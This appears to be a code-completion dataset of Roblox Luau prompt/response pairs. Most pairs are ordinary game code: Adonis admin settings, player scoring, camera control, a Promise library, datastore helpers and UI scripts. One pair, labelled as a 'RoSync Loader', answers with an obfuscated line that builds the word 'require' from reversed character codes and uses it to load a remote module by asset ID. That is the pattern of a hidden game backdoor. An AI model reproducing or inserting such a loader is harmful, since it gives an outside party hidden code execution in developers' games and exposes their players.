settings.G_Access_Key = "Example_Key"	-- Key required to use the _G access API; Example_Key will not work for obvious reasons
settings.G_Access_Perms = "Read" 		-- Access perms
settings.Allowed_API_Calls = {
	Client = false;				-- Allow access to the Client (not recommended)
	Settings = false;			-- Allow access to settings (not recommended)
	DataStore = false;			-- Allow access to the DataStore (not recommended)
	Core = false;				-- Allow access to the script's core table (REALLY not recommended)
	Service = false;			-- Allow access to the script's service metatable
	Remote = false;				-- Communication table
	HTTP = false; 				-- HTTP-related things like Trello functions
	Anti = false;				-- Anti-Exploit table
	Logs = false;
	UI = false;					-- Client UI table
	Admin = false;				-- Admin related functions
	Functions = false;			-- Functions table (contains functions used by the script that don't have a subcategory)
	Variables = true;			-- Variables table
	API_Specific = true;		-- API Specific functions
}

settings.FunCommands = true				-- Are fun commands enabled?
settings.PlayerCommands = true			-- Are player-level utility commands enabled?
settings.CommandFeedback = false		-- Should players be notified when commands with non-obvious effects are run on them?
settings.CrossServerCommands = true		-- Are commands which affect more than one server enabled?
settings.ChatCommands = true			-- If false you will not be able to run commands via the chat; Instead, you MUST use the console or you will be unable to run commands
settings.CreatorPowers = true			-- Gives me creator-level admin; This is strictly used for debugging; I can't debug without full access to the script
settings.CodeExecution = true			-- Enables the use of code execution in Adonis; Scripting related (such as :s) and a few other commands require this
settings.SilentCommandDenials = false	-- If true, there will be no differences between the error messages shown when a user enters an invalid command and when they have insufficient permissions for the command
settings.OverrideChatCallbacks = true		-- If the TextChatService ShouldDeliverCallbacks of all channels are overridden by Adonis on load. Required for muting

settings.BanMessage = "Banned"				-- Message shown to banned users upon kick
settings.LockMessage = "Not Whitelisted"	-- Message shown to people when they are kicked while the game is :slocked
settings.SystemTitle = "System Message"		-- Title to display in :sm and :bc

settings.MaxLogs = 5000			-- Maximum logs to save before deleting the oldest
settings.SaveCommandLogs = true	-- If command logs are saved to the datastores
settings.Notification = true	-- Whether or not to show the "You're an admin" and "Updated" notifications
settings.SongHint = true		-- Display a hint with the current song name and ID when a song is played via :music
settings.TopBarShift = false	-- By default hints and notifications will appear from the top edge of the window. Set this to true if you don't want hints/notifications to appear in that region.
settings.Messages = {}			-- A list of notification messages to show HeadAdmins and above on join
settings.AutoClean = false		-- Will auto clean workspace of things like hats and tools
settings.AutoCleanDelay = 60	-- Time between auto cleans
settings.AutoBackup = false 	-- Run :backupmap automatically when the server starts. To restore the map, run :restoremap

settings.Console = true				-- Whether the command console is enabled
settings.Console_AdminsOnly = false -- If true, only admins will be able to access the console

settings.HelpSystem = true		-- Allows players to call admins for help using !help
settings.HelpButton = true		-- Shows a little help button in the bottom right corner.
settings.HelpButtonImage = "rbxassetid://357249130" -- Sets the image used for the Adonis help button above.

settings.DonorCapes = true 		-- Donors get to show off their capes; Not disruptive :)
settings.DonorCommands = true	-- Show your support for the script and let donors use harmless commands like !sparkles
settings.LocalCapes = false	 	-- Makes Donor capes local so only the donors see their cape [All players can still disable capes locally]

settings.Detection = true			-- (Extremely important, makes all protection systems work) A global toggle for all the other protection settings
settings.CheckClients = true		-- (Important, makes sure Adonis clients are connected to the server) Checks clients every minute or two to make sure they are still active

settings.ExploitNotifications = true        -- Notify all moderators and higher-ups when a player is kicked or crashed from the AntiExploit
settings.CharacterCheckLogs = false		-- If the character checks appear in exploit logs and exploit notifications
settings.AntiNoclip = false			-- Attempts to detect noclipping and kills the player if found
settings.AntiRootJointDeletion = false		-- Attempts to detect paranoid and kills the player if found
settings.AntiMultiTool = false -- Prevents multitool and because of that many other exploits
settings.AntiGod = false -- If a player does not respawn when they should have they get respawned


Prompt: -- Cosmetic bullet container

Response:
local CosmeticBulletsFolder = workspace:FindFirstChild("CosmeticBulletsFolder") or Instance.new("Folder", workspace)
CosmeticBulletsFolder.Name = "CosmeticBulletsFolder"


Prompt: -- Functions

Response:
function PlayerManager:SetGameRunning(running)
	GameRunning = running
end

function PlayerManager:AllowPlayerSpawn(allow)
	PlayersCanSpawn = allow
end

function PlayerManager:ClearPlayerScores()
	for _, player in ipairs(Players:GetPlayers()) do
		local leaderstats = player:FindFirstChild("leaderstats")
		if leaderstats then
			local KWA
			if Configurations.GRANT_ASSISTS then
				KWA = leaderstats:FindFirstChild("KO - WO - A")
				if KWA then
					KWA.Value = "0 - 0 - 0"
				end
			else
				KWA = leaderstats:FindFirstChild("KO - WO")
				if KWA then
					KWA.Value = "0 - 0"
				end
			end
		end
	end
end

function PlayerManager:LoadPlayers()
	for _, player in pairs(Players:GetPlayers()) do
		player:LoadCharacter()
	end
end

function PlayerManager:DestroyPlayers()
	for _, player in pairs(Players:GetPlayers()) do
		player.Character:Destroy()
		for _, item in pairs(player.Backpack:GetChildren()) do
			item:Destroy()
		end
	end
	ResetMouseIcon:FireAllClients()
end

function PlayerManager:PlayerHit(hitPlayer, hittingPlayer)
	if hitPlayer == hittingPlayer then
		return
	end

	if not HitArray[hitPlayer] then
		HitArray[hitPlayer] = { }
	end

	for i = 1, #HitArray[hitPlayer] do
		if HitArray[hitPlayer][i]== hittingPlayer then
			return
		end
	end
	table.insert(HitArray[hitPlayer], hittingPlayer)
end

function PlayerManager:PlayerDied(player)
	if HitArray[player] then
		for i = #HitArray[player], 1, -1 do
			local hittingPlayer = HitArray[player][i]
			if hittingPlayer ~= player then
				if i == #HitArray[player] then
					ScoreArray[hittingPlayer][1] = ScoreArray[hittingPlayer][1] + 1
					TeamManager:AddTeamScore(hittingPlayer.TeamColor, 1)
					spawn(function() pcall(function() PointsService:AwardPoints(hittingPlayer.userId, Configurations.PLAYER_POINTS_PER_KO) end) end)
				else
					ScoreArray[hittingPlayer][3] = ScoreArray[hittingPlayer][3] + 1
					spawn(function() pcall(function() PointsService:AwardPoints(hittingPlayer.userId, Configurations.PLAYER_POINTS_PER_ASSIST) end) end)
				end
				UpdatePlayerScore(hittingPlayer)
			end
		end
	end

	ScoreArray[player][2] = ScoreArray[player][2] + 1
	HitArray[player] = nil
	UpdatePlayerScore(player)
end


Prompt:
--[=[
	Sets the name for the datastore to retrieve.

	:::info
	Must be done before start and after init.
	:::

	@param dataStoreName string
]=]

Response:
function PlayerDataStoreService:SetDataStoreName(dataStoreName)
	assert(type(dataStoreName) == "string", "Bad dataStoreName")
	assert(self._started, "Not initialized")
	assert(self._started:IsPending(), "Already started, cannot configure")

	self._dataStoreName = dataStoreName
end


Prompt:
-- Formerly getCurrentCameraMode, this function resolves developer and user camera control settings to
-- decide which camera control module should be instantiated. The old method of converting redundant enum types

Response:
function CameraModule:GetCameraControlChoice()
	local player = Players.LocalPlayer

	if player then
		if self.lastInputType == Enum.UserInputType.Touch or UserInputService.TouchEnabled then
			-- Touch
			if player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then
				return CameraUtils.ConvertCameraModeEnumToStandard( UserGameSettings.TouchCameraMovementMode )
			else
				return CameraUtils.ConvertCameraModeEnumToStandard( player.DevTouchCameraMode )
			end
		else
			-- Computer
			if player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then
				local computerMovementMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode)
				return CameraUtils.ConvertCameraModeEnumToStandard(computerMovementMode)
			else
				return CameraUtils.ConvertCameraModeEnumToStandard(player.DevComputerCameraMode)
			end
		end
	end
end

function CameraModule:OnCharacterAdded(char, player)
	if self.activeOcclusionModule then
		self.activeOcclusionModule:CharacterAdded(char, player)
	end
end

function CameraModule:OnCharacterRemoving(char, player)
	if self.activeOcclusionModule then
		self.activeOcclusionModule:CharacterRemoving(char, player)
	end
end

function CameraModule:OnPlayerAdded(player)
	player.CharacterAdded:Connect(function(char)
		self:OnCharacterAdded(char, player)
	end)
	player.CharacterRemoving:Connect(function(char)
		self:OnCharacterRemoving(char, player)
	end)
end

function CameraModule:OnMouseLockToggled()
	if self.activeMouseLockController then
		local mouseLocked = self.activeMouseLockController:GetIsMouseLocked()
		local mouseLockOffset = self.activeMouseLockController:GetMouseLockOffset()
		if self.activeCameraController then
			self.activeCameraController:SetIsMouseLocked(mouseLocked)
			self.activeCameraController:SetMouseLockOffset(mouseLockOffset)
		end
	end
end

return CameraModule.new()


Prompt:
--[[
	Create an unnamed Symbol. Usually, you should create a named Symbol using
	Symbol.named(name)
]]

Response:
function Symbol.unnamed()
	local self = newproxy(true)

	getmetatable(self).__tostring = function()
		return "Unnamed Symbol"
	end

	return self
end

return Symbol


Prompt:
--[=[
	https://rxjs-dev.firebaseapp.com/api/operators/scan

	@param accumulator (current: TSeed, ...: TInput) -> TResult
	@param seed TSeed
	@return (source: Observable<TInput>) -> Observable<TResult>
]=]

Response:
function Rx.scan(accumulator, seed)
	assert(type(accumulator) == "function", "Bad accumulator")

	return function(source)
		assert(Observable.isObservable(source), "Bad observable")

		return Observable.new(function(sub)
			local current = seed

			return source:Subscribe(function(...)
				current = accumulator(current, ...)
				sub:Fire(current)
			end, sub:GetFailComplete())
		end)
	end
end


Prompt: -- Static checkpoint color variables

Response:
local HIT_COLOR = Color3.new(91/255, 93/255, 105/255)
local NOT_HIT_COLOR = Color3.new(248/255, 217/255, 109/255)

local PARTICLE_DURATION = 0.75


Prompt: --		print(animName .. " * " .. idx .. " [" .. origRoll .. "]")

Response:
		local anim = animTable[animName][idx].anim

		-- load it to the humanoid; get AnimationTrack
		toolAnimTrack = humanoid:LoadAnimation(anim)

		-- play the animation
		toolAnimTrack:Play(transitionTime)
		toolAnimName = animName

		currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
	end
end

function stopToolAnimations()
	local oldAnim = toolAnimName

	if (currentToolAnimKeyframeHandler ~= nil) then
		currentToolAnimKeyframeHandler:disconnect()
	end

	toolAnimName = ""
	if (toolAnimTrack ~= nil) then
		toolAnimTrack:Stop()
		toolAnimTrack:Destroy()
		toolAnimTrack = nil
	end

	return oldAnim
end


Prompt:
--[=[
	Shorthand for `Promise:andThen(nil, failureHandler)`.

	Returns a Promise that resolves if the `failureHandler` worked without encountering an additional error.

	:::warning
	Within the failure handler, you should never assume that the rejection value is a string. Some rejections within the Promise library are represented by [[Error]] objects. If you want to treat it as a string for debugging, you should call `tostring` on it first.
	:::

	Calling `catch` on a cancelled Promise returns a cancelled Promise.

	:::tip
	If the Promise returned by `catch` is cancelled,  `failureHandler` will not run.

	To run code no matter what, use [Promise:finally].
	:::

	@param failureHandler (...: any) -> ...any
	@return Promise<...any>
]=]

Response:
function Promise.prototype:catch(failureHandler)
	assert(failureHandler == nil or isCallable(failureHandler), string.format(ERROR_NON_FUNCTION, "Promise:catch"))
	return self:_andThen(debug.traceback(nil, 2), nil, failureHandler)
end


Prompt:
--[=[
	A wrapper for an `RBXScriptConnection`. Makes the Janitor clean up when the instance is destroyed. This was created by Corecii.

	@class RbxScriptConnection
]=]

Response:
local RbxScriptConnection = {}
RbxScriptConnection.Connected = true
RbxScriptConnection.__index = RbxScriptConnection


Prompt:
--[=[
	@within ServerComm
	@type ServerMiddlewareFn (player: Player, args: {any}) -> (shouldContinue: boolean, ...: any)
	The middleware function takes the client player and the arguments (as a table array), and should
	return `true|false` to indicate if the process should continue.

	If returning `false`, the optional varargs after the `false` are used as the new return values
	to whatever was calling the middleware.
]=]
--[=[
	@within ServerComm
	@type ServerMiddleware {ServerMiddlewareFn}
	Array of middleware functions.
]=]


Prompt:
-- ================================================================================
-- Settings
-- ================================================================================

Response:
local Settings = {}

Settings.DefaultSpeed = 100		-- Speed when not boosted [Studs/second, Range 50-300]
Settings.BoostSpeed = 200		-- Speed when boosted [Studs/second, Maximum: 400]
Settings.BoostAmount = 10		-- Duration of boost in seconds
Settings.Steering = 5			-- How quickly the speeder turns [Range: 1-10]


Response:
local  Paint = false

script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Darkblue",Paint)
end)


Prompt: --print("intmoveTO")

Response:
function Zombie:moveTo()
	local targetReached = false
	local humanoid = self.Humanoid
	local targetPoint = self:FindPath()

	local connection
	connection = humanoid.MoveToFinished:Connect(function(reached)
		targetReached = true
		connection:Disconnect()
		connection = nil
		if Shetchik <= 5 then
			Zombie:moveTo()
		end
	end)
	if targetPoint ~= nil then
		humanoid:MoveTo(targetPoint)

		spawn(function()
			while not targetReached do
				if not (humanoid and humanoid.Parent) then
					break
				end
				if humanoid.WalkToPoint ~= targetPoint then
					break
				end
				humanoid:MoveTo(targetPoint)
				wait(6)
			end

			if connection then
				connection:Disconnect()
				connection = nil
			end
		end)
	end
end

	--print("Start")

return Zombie


Prompt:
--- Returns a new Maid object
-- @constructor Maid.new()
-- @treturn Maid

Response:
function Maid.new()
	local self = {}

	self._tasks = {}

	return setmetatable(self, Maid)
end


Prompt: --Module

Response: local ModuleLoader = require(Internal.InternalLoader)


Prompt:
--[=[
	Adds commas to a number. Not culture aware.
	@param number string | number
	@param seperator string?
	@return string
]=]

Response:
function String.addCommas(number: string | number, seperator: string): string
	if type(number) == "number" then
		number = tostring(number)
	end
	seperator = seperator or ","

	local index = -1

	while index ~= 0 do
		number, index = string.gsub(number, "^(-?%d+)(%d%d%d)", "%1" .. seperator .. "%2")
	end

	return number
end

return String


Response:
function onTouched(part)
	if part.Parent ~= nil then
	local h = part.Parent:findFirstChild("Humanoid")
		if h~=nil then
			local teleportfrom=script.Parent.Enabled.Value
			if teleportfrom~=0 then
				if h==humanoid then
				return
				end
				local teleportto=script.Parent.Parent:findFirstChild(modelname)
				if teleportto~=nil then
					local torso = h.Parent.Torso
					local location = {teleportto.Position}
					local i = 1

					local x = location[i].x
					local y = location[i].y
					local z = location[i].z

					x = x + math.random(-1, 1)
					z = z + math.random(-1, 1)
					y = y + math.random(2, 3)

					local cf = torso.CFrame
					local lx = 0
					local ly = y
					local lz = 0

					script.Parent.Enabled.Value=0
					teleportto.Enabled.Value=0
					torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
					wait(3)
					script.Parent.Enabled.Value=1
					teleportto.Enabled.Value=1
				else
					print("Could not find teleporter!")
				end
			end
		end
	end
end


Prompt:
--[=[
	Provides utilities for working with ValueBase objects, like [IntValue] or [ObjectValue] in Roblox.

	@class ValueBaseUtils
]=]

Response:
local ValueBaseUtils = {}

local TYPE_TO_CLASSNAME_LOOKUP = {
	["nil"] = "ObjectValue";
	boolean = "BoolValue";
	number = "NumberValue";
	string = "StringValue";

	BrickColor = "BrickColorValue";
	CFrame = "CFrameValue";
	Color3 = "Color3Value";
	Instance = "ObjectValue";
	Ray = "RayValue";
	Vector3 = "Vector3Value";
}

local VALUE_BASE_TYPE_LOOKUP = {
	BoolValue = "boolean";
	NumberValue = "number";
	IntValue = "number";
	StringValue = "string";
	BrickColorValue = "BrickColor";
	CFrameValue = "CFrame";
	Color3Value = "Color3";
	ObjectValue = "Instance";
	RayValue = "Ray";
	Vector3Value = "Vector3";
}


Prompt:
--[[
	Determines which locators to show based on (in order of priority):
	1. Distance from users, and
	2. Total number of indicators to show

	Parameters:
	- userIds (table): list of user IDs for all candidate players
	- distanceFromCamera (table):
		Key (string): Stringified Player.UserId
		Value (number): Magnitude of how far the player is from the LocalPlayer's camera
	- configuration (table): Configuration table for the dev module

	Returns:
	- userIds (table): list of user IDs to display the friendship locator for.
]]

Response:
local function selectUserIdsByDistance(userIds, distanceFromCamera, configuration)
	-- Sort the players according to the distance to you
	local sortedByDistance = Cryo.List.sort(userIds, function(a, b)
		local distance1 = distanceFromCamera[a] or math.huge
		local distance2 = distanceFromCamera[b] or math.huge

		return distance1 < distance2
	end)

	-- Limit the total number of indicators
	local res = {}
	for _, userId in ipairs(sortedByDistance) do
		if #res >= configuration.maxLocators then
			break
		end

		local distance = distanceFromCamera[userId] or 0
		if distance > configuration.thresholdDistance then
			table.insert(res, userId)
		end
	end

	return res
end

return selectUserIdsByDistance


Prompt: --[[ Last synced 12/17/2020 06:57 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt:
--[[**
	<description>
	Unmark the data store as a backup data store and tell :Get() and reset values to nil.
	</description>
**--]]

Response:
function DataStore:ClearBackup()
	self.backup = nil
	self.haveValue = false
	self.value = nil
	self.getRawPromise = nil
end


Prompt: -- Time it takes to tween between view switches:

Response:
local TWEEN_DURATION = 0.25

local V3 = Vector3.new
local CF = CFrame.new
local ANG = CFrame.Angles
local ACOS = math.acos
local COS = math.cos
local SIN = math.sin
local RAND = math.random
local TAU = math.pi * 2

local CamLock = {}

local cam = game.Workspace.CurrentCamera
local plane
local seat

local currentViewIndex = 1
local currentView

local viewRotH = 0
local viewRotV = 0
local MAX_VIEW_ROT_V = math.rad(80)

local mobileDeviceBank = 0

local Damping = require(script:WaitForChild("Damping"))
local easing = require(script:WaitForChild("Easing"))

local dampCam = Damping.new()
local dampRot = Damping.new()
local dampShake = Damping.new()
	dampShake.P = 3
	dampShake.D = 0.05

local tweening = false
local tweenStart = 0
local tweenFromView = nil

local views = {

	-- Pivot:   Point around which camera rotates
	-- Offset:  Camera offset from pivot point
	-- Ease:    Ease function used when tweening into the view

	-- Third-person:
	{
		Pivot   = CF(0, 3.5, -1.1);
		Offset  = CF(0, 8, 40);
		Ease    = easing.outQuint;
	};

	-- First-person:
	{
		Pivot   = CF(0, 3.5, -1.1);
		Offset  = CF(0, 0, 0);
		Ease    = easing.outQuint;
	};

	-- Landing gear:
	{
		Pivot   = CF(0, -3.5, -0.5);
		Offset  = CF(0, 0, 0);
		Ease    = easing.outQuint;
	};

}


Prompt: --Steering Gyro

Response:
SteeringGyro = Instance.new("BodyGyro")
SteeringGyro.Parent = bike.FrontSection.TripleTreeHinge
SteeringGyro.Name = "SteeringGyro"
SteeringGyro.D = _Tune.SteerD
SteeringGyro.MaxTorque = Vector3.new(0,0,0)
SteeringGyro.P = _Tune.SteerP


Prompt: --FakeTorso.Massless = true

Response:
FakeTorso.Parent = Viewmodel
Viewmodel.PrimaryPart = FakeHumanoidRootPart
Viewmodel.WorldPivot = FakeHumanoidRootPart.CFrame+FakeHumanoidRootPart.CFrame.UpVector*5
Viewmodel.Parent = nil
local LeftShoulderClone = nil
local RightShoulderClone = nil
local RootHipClone = nil


Prompt: --[[---------------- CONNECTIONS -----------------]]

Response:
--

updateInputHoldEvent.OnServerEvent:Connect(onUpdateInputHoldEvent)
updateHoverObjectEvent.OnServerEvent:Connect(onUpdateHoverObjectEvent)
equippedGunIndexVal.Changed:Connect(function()
	onUpdateHoverObjectEvent(ply, mouseHoverObjectVal.Value or nil)
end)
downedVal.Changed:Connect(onDown)

local function dropAllParts()
	local parts = BMM.getCharacterCurrentHoldingParts(char)
	for _, partVal in pairs(parts) do
		BMM.dropPartFromInventory(char, partVal)
	end
end

local leaveConn = nil
local diedConn = nil

leaveConn = game.Players.PlayerRemoving:Connect(function(player)
	if ply ~= player then return end
	if leaveConn then leaveConn:Disconnect() end
	if diedConn then diedConn:Disconnect() end
	dropAllParts()
end)

diedConn = hum.Died:Connect(function()
	if leaveConn then leaveConn:Disconnect() end
	if diedConn then diedConn:Disconnect() end
	dropAllParts()
end)


Prompt:
--[[
* Given two strings, compute a score representing whether the internal
* boundary falls on logical boundaries.
* Scores range from 6 (best) to 0 (worst).
* @param {string} one First string.
* @param {string} two Second string.
* @return {number} The score.
* @private
--]]

Response:
local function _diff_cleanupSemanticScore(one: string, two: string): number
	if #one == 0 or #two == 0 then
		-- Edges are the best.
		return 6
	end

	-- Each port of this function behaves slightly differently due to
	-- subtle differences in each language's definition of things like
	-- 'whitespace'.  Since this function's purpose is largely cosmetic,
	-- the choice has been made to use each language's native features
	-- rather than force total conformity.
	local char1 = strsub(one, -1)
	local char2 = strsub(two, 1, 1)
	local nonAlphaNumeric1 = strmatch(char1, "%W")
	local nonAlphaNumeric2 = strmatch(char2, "%W")
	local whitespace1 = nonAlphaNumeric1 and strmatch(char1, "%s")
	local whitespace2 = nonAlphaNumeric2 and strmatch(char2, "%s")
	local lineBreak1 = whitespace1 and strmatch(char1, "%c")
	local lineBreak2 = whitespace2 and strmatch(char2, "%c")
	local blankLine1 = lineBreak1 and strmatch(one, "\n\r?\n$")
	local blankLine2 = lineBreak2 and strmatch(two, "^\r?\n\r?\n")

	if blankLine1 or blankLine2 then
		-- Five points for blank lines.
		return 5
	elseif lineBreak1 or lineBreak2 then
		-- Four points for line breaks.
		return 4
	elseif nonAlphaNumeric1 and not whitespace1 and whitespace2 then
		-- Three points for end of sentences.
		return 3
	elseif whitespace1 or whitespace2 then
		-- Two points for whitespace.
		return 2
	elseif nonAlphaNumeric1 or nonAlphaNumeric2 then
		-- One point for non-alphanumeric.
		return 1
	end
	return 0
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
	if not p1.Question then
		return;
	end;
	local l__gTable__1 = p1.gTable;
	local l__BaseClip__2 = script.Parent.Parent.BaseClip;
	local v3 = p1.Duration or p1.Timeout;
	local l__Frame__4 = l__BaseClip__2.Frame;
	l__Frame__4.Parent = l__BaseClip__2;
	l__Frame__4.Position = UDim2.new(0.5, -210, 0, -l__Frame__4.Size.Y.Offset);
	l__Frame__4.Visible = true;
	local l__Body__5 = l__Frame__4:WaitForChild("Body");
	local l__Options__6 = l__Body__5:WaitForChild("Options");
	local l__Confirm__7 = l__Options__6:WaitForChild("Confirm");
	local l__Cancel__8 = l__Options__6:WaitForChild("Cancel");
	l__Body__5:WaitForChild("Command").Text = p1.Subtitle and " ";
	l__Body__5.Ques.Text = p1.Question and "Unknown";
	l__Frame__4.Top.Title.Text = p1.Title and "Yes/No Prompt";
	l__Body__5.Options.Cancel.Text = p1.No and "No";
	l__Body__5.Options.Confirm.Text = p1.Yes and "Yes";
	l__gTable__1:Ready();
	local u1 = nil;
	function l__gTable__1.CustomDestroy()
		l__gTable__1.CustomDestroy = nil;
		l__gTable__1.ClearEvents();
		if u1 == nil then
			u1 = p1.No and "No";
		end;
		pcall(function()
			l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p2)
				if p2 == Enum.TweenStatus.Completed then
					l__Frame__4:Destroy();
				end;
			end);
			wait(0.3);
		end);
		l__gTable__1:Destroy();
	end;
	l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 0.5, -70), "Out", "Quint", 0.3, true);
	local u2 = nil;
	u2 = l__gTable__1.BindEvent(l__Confirm__7.MouseButton1Click, function()
		u2:Disconnect();
		l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p3)
			if p3 == Enum.TweenStatus.Completed then
				l__Frame__4:Destroy();
			end;
		end);
		u1 = p1.Yes and "Yes";
		wait(0.3);
		l__gTable__1:Destroy();
	end);
	local u3 = nil;
	u3 = l__gTable__1.BindEvent(l__Cancel__8.MouseButton1Click, function()
		u3:Disconnect();
		l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p4)
			if p4 == Enum.TweenStatus.Completed then
				l__Frame__4:Destroy();
			end;
		end);
		u1 = p1.No and "No";
		wait(0.3);
		l__gTable__1:Destroy();
	end);
	local v9 = tick();
	while true do
		wait();
		if u1 ~= nil then
			break;
		end;
		if v3 and v3 < tick() - v3 then
			break;
		end;
	end;
	if u1 == nil then
		u1 = false;
	end;
	return nil;
end;


Prompt:
-- 	return moduleResult
-- end

Response:
return {
	-- Mock functions
	fn = function(...)
		return mock:fn(...)
	end,
	clearAllMocks = function()
		return mock:clearAllMocks()
	end,
	resetAllMocks = function()
		return mock:resetAllMocks()
	end,
	_mock = mock,
	-- Mock timers
	useFakeTimers = function()
		return fakeTimers:useFakeTimers()
	end,
	useRealTimers = function()
		return fakeTimers:useRealTimers()
	end,
	runAllTicks = function()
		return fakeTimers:runAllTicks()
	end,
	runAllTimers = function()
		return fakeTimers:runAllTimers()
	end,
	advanceTimersByTime = function(msToRun)
		fakeTimers:advanceTimersByTime(msToRun)
	end,
	runTimersToTime = function(msToRun)
		fakeTimers:advanceTimersByTime(msToRun)
	end,
	runOnlyPendingTimers = function()
		fakeTimers:runOnlyPendingTimers()
	end,
	advanceTimerstoNextTimer = function(steps)
		fakeTimers:advanceTimerstoNextTimer(steps)
	end,
	clearAllTimers = function()
		fakeTimers:clearAllTimers()
	end,
	getTimerCount = function()
		fakeTimers:getTimerCount()
	end,
	setSystemTime = function(now)
		fakeTimers:setSystemTime(now)
	end,
	getRealSystemTime = function()
		fakeTimers:getRealSystemTime()
	end,
	testEnv = {
		delay = fakeTimers.delayOverride,
		tick = fakeTimers.tickOverride,
		DateTime = fakeTimers.dateTimeOverride,
		os = fakeTimers.osOverride,
		-- require = requireOverride,
	},
	_fakeTimers = fakeTimers,
}


Prompt:
--[[

	symbol = Symbol.new(id: string [, scope: Symbol])

	Symbol.Is(obj: any): boolean
	Symbol.IsInScope(obj: any, scope: Symbol): boolean

--]]

Response: local CLASSNAME = "Symbol"


Prompt:
--[[
	This is a test file to demonstrate how ragdolls work. If you don't use
	this file, you need to manually apply the Ragdoll tag to humanoids that
	you want to ragdoll
--]]

Response:
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local StarterPack = game:GetService("StarterPack")
local StarterPlayer = game:GetService("StarterPlayer")

script.KillScript.Parent = StarterPlayer.StarterCharacterScripts
script.RagdollMe.Parent = StarterPlayer.StarterCharacterScripts


Prompt: --------------------- PLEASE DO NOT EDIT BELOW!!!

Response:
local Auto_Load = true

local Auto_Save = true

local Save_On_Leave = true

local Stats = {"Kills"}

local StatsNotToSave = {"Helmet","Bandana","Headset","Glasses","PW"}

game.Players.PlayerAdded:connect(function(p)
	wait()
	local ODS = game:GetService("DataStoreService"):GetDataStore(p.userId)
	for i = 1,#Stats do
		ODS:UpdateAsync(Stats[i], function(old)
			return old or 0
		end)
	end
	local l = Instance.new("Model", p)
	l.Name = "leaderstats"
	for i = 1,#StatsNotToSave do
		S = Instance.new("StringValue", l)
		S.Name = StatsNotToSave[i]
	end
	for i = 1,#Stats do
		S = Instance.new("NumberValue", l)
		S.Name = Stats[i]
		if Auto_Load then
			S.Value = ODS:GetAsync(Stats[i])
		end
		if Auto_Save then
			S.Changed:connect(function()
				ODS:SetAsync(Stats[i], S.Value)
			end)
		end
	end
end)

if Save_On_Leave then
	game.Players.PlayerRemoving:connect(function(p)
		local ODS = game:GetService("DataStoreService"):GetDataStore(p.userId)
		for i = 1,#Stats do
			stat = p.leaderstats:FindFirstChild(Stats[i])
			if stat then
				ODS:UpdateAsync(stat.Name, function(old)
					return stat.Value
				end)
			end
		end
	end)
end


Prompt: --Spoiler

Response:
MakeWeld(car.Misc.Spoiler.SS,car.DriveSeat,"Motor",.04).Name="W"
ModelWeld(car.Misc.Spoiler.Parts,car.Misc.Spoiler.SS)


Prompt: -- Right Arms

Response:
local RUA = character.UpperTorso:FindFirstChild("RightShoulderRigAttachment")
local RUARig = character.RightUpperArm:FindFirstChild("RightShoulderRigAttachment")
local RLA = character.RightUpperArm:FindFirstChild("RightElbowRigAttachment")
local RLARig = character.RightLowerArm:FindFirstChild("RightElbowRigAttachment")
local RH = character.RightLowerArm:FindFirstChild("RightWristRigAttachment")
local RHRig = character.RightHand:FindFirstChild("RightWristRigAttachment")


Response:
function onClicked()
R.Function1.Disabled = false
R.loop.Disabled = true
R.BrickColor = BrickColor.new("Lime green")

R.Function2.Disabled = true

end
script.Parent.ClickDetector.MouseClick:connect(onClicked)